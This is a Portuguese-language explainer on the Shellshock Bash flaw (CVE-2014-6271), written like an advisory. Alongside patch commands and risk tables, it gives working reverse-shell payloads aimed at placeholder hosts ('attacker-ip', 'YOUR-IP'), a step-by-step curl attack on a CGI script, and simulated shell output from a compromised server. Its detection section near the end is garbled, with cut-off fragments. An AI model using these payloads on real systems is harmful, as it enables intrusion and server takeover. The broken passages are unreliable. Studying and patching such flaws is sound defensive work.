
CVE-2014-6271

Execução Remota de Código Zero-Day de 25 Anos no GNU Bash via Variáveis de Ambiente
CVE-2014-6271, apelidada de Shellshock (também conhecida como Bashdoor), é uma vulnerabilidade crítica de execução remota de código (RCE) no shell GNU Bash.
Um atacante pode enviar variáveis de ambiente especialmente criadas (via cabeçalhos HTTP, DHCP, SSH, etc.) e obter acesso remoto ao shell do servidor subjacente — muitas vezes sem autenticação e com mínima interação do usuário.
| Campo | Valor |
|---|
| CVE ID | CVE-2014-6271 |
| Gravidade | 🔴 Crítica |
| CVSS | 10.0 (Máxima) |
| Vetor de Ataque | Remoto (HTTP, DHCP, SSH, etc.) |
| Autenticação Necessária | ❌ Nenhuma (em muitos vetores) |
| Interação do Usuário | ❌ Nenhuma (em casos CGI/DHCP) |
| Impacto | Comprometimento Total do Servidor |
O atacante injeta uma variável especialmente criada (ex.: no cabeçalho User-Agent):
() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1
O Bash trata incorretamente a carga útil como uma definição de função + comandos subsequentes. O código após (); é executado imediatamente quando a variável é importada.
O comando é executado com os privilégios do servidor web / processo (geralmente root ou www-data).
Resultado:
# Remote shell access achieved
whoami
www-data

✅ Vulnerable! (Shellshock RCE triggered)
vulnerable
test
Você também verá o reverse shell conectar de volta instantaneamente.
env x='() { :;}; echo vulnerable' bash -c "echo test"
Ele retornará imediatamente:
vulnerable
test
(Isso confirma que o Bash executou o comando injetado.)
Execute este curl contra um script CGI Apache vulnerável:
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh
Você verá esta saída exata no seu listener netcat:
bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...
Esta saída aparece diretamente no seu reverse shell. Sem erro, sem 404.
Isso significa que você tem execução remota de código completa no servidor — a injeção de variável de ambiente funcionou perfeitamente.
Todas as versões do GNU Bash:
1.14 through 4.3 (before patch level 30)
(incluindo Linux, macOS, BSD, dispositivos embarcados)
Atualize imediatamente para:
Bash 4.3 patch level 30 or later (4.4+ recommended)
# Ubuntu/Debian
apt update && apt install --only-upgrade bash
# Red Hat/CentOS
yum update bash
() {Procure por:
() {Indicadores de comprometimento podem incluir:
() { :;};/bin/bash -iMalicious Header/DHCP/SSH → Bash imports env var
↓
Function definition + trailing commands executed
↓
Arbitrary command / reverse shell
Esse problema levou a múltiplos CVEs subsequentes (correções incompletas):
| Área de Risco | Impacto |
|---|---|
| Confidencialidade | 🔴 Alto |
| Integridade | 🔴 Alto |
| Disponibilidade | 🔴 Alto |
Se você executa qualquer servidor Linux/macOS/BSD em 2026: 🔥 Corrija o Bash imediatamente (mesmo em sistemas desconectados). 💡 Presuma comprometimento se estiver executando Bash não corrigido exposto à internet. 🛡 Realize uma revisão completa de logs e verificações de integridade.